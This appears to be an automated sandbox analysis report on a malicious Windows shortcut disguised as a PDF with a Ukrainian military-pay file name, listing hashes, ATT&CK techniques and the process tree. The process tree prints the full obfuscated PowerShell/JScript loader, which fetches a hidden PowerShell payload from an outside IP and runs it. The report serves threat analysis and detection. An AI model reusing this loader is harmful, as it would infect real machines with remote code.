e88687f5d39bd5211137732a90a0be6e1dc601d0ddb3f4ae4fb7fbedae60d099

General

Target
VYTIaH_iz_nakaza_rozrakhunok_vysluhy_viskovosluzhbovtsia.pdf.lnk
Size 77KB
Sample260819-yjgbysvtbz
SHA256 e88687f5d39bd5211137732a90a0be6e1dc601d0ddb3f4ae4fb7fbedae60d099
MD5 8e049139f0fb357392d7322242e1a1c1
SHA1 d43dba256309988b25e134ffbc1e9a95f9274afa
SHA512 983f23121bb1aa364b9ff218f3bf3520475812e6e251863ee06d57c4c99beccbec17787903181049bca1f1cdeb194b36ffaf63b4ca8fc436455c3e83a67c906c
SSDEEP 24:8d/42WPUcUlYaInZNIdbxFPRSp+UOiXEu+njVHqzlWaSZJmMn:8l42KULYT8dVFPRy7jEu+njtlaT
TLSH
T1D373113033F90109E1F3EE32BDF5B7C19CABB977AC62169A448143090911A40FE2A73B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4888	cscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5964	powershell.exe
2060	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4580	cmd.exe
3544	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2060	powershell.exe
2060	powershell.exe
5964	powershell.exe
5964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	5964	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 3544	4580	cmd.exe	90
PID 3544 wrote to memory of 2060	3544	cmd.exe	91
PID 3544 wrote to memory of 4888	3544	cmd.exe	92
PID 4888 wrote to memory of 5964	4888	cscript.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\VYTIaH_iz_nakaza_rozrakhunok_vysluhy_viskovosluzhbovtsia.pdf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9ldmlkZW5j';$b='ZWJhZGdlLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3Qo';$c='IlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('KbAc.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b KbAc.js && del KbAc.js"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9ldmlkZW5j';$b='ZWJhZGdlLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3Qo';$c='IlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('KbAc.js',[Convert]::FromBase64String($a+$b+$c))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2060
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b KbAc.js
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 185.82.127.16 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

3

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a41a06404c28b97b771bf074a67d6df47adb01d133a38d7b80b2cd73ee1e8423
MD5 e760d8602d63fe876f0e830ef1a69316
SHA1 b1cfd0ecda02ad7b63489546f3430f44cc97df87
SHA512 572f6eff67d0711028d2d763004b1fe56082c2de304563a516883b8005fe3bab8e4ff2794433e8d7f07df42c2aae106cc267ba2adc95384a8624eed743d5a3cb
MD5 SHA1 SHA512

Submit Download

KbAc.js

Path C:\Users\Admin\AppData\Local\Temp\KbAc.js
Size 304B
SHA256 2192dc57dbf645be53b39dd2ef6100240fff352f65edf37e5903e4166309a187
MD5 99dd249c4e44264078dce7f13f5fcde3
SHA1 935ad65cf36868aac5ceafadc8bc7d298aa51f60
SHA512 ab17c97a9462b921d2883a20fa160daf116acc0106e253eb1b3985139109c1dbaa0b912e5b7f3634daf5edcd4f958144e1049298925dd73e6f5c7514c5c1f151
TLSH
T178E07D944035F0DD11C79FDC9410E76441DBC0B07001A8EFB744CAD43851204114D28F
MD5 SHA1 SHA512 TLSH

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads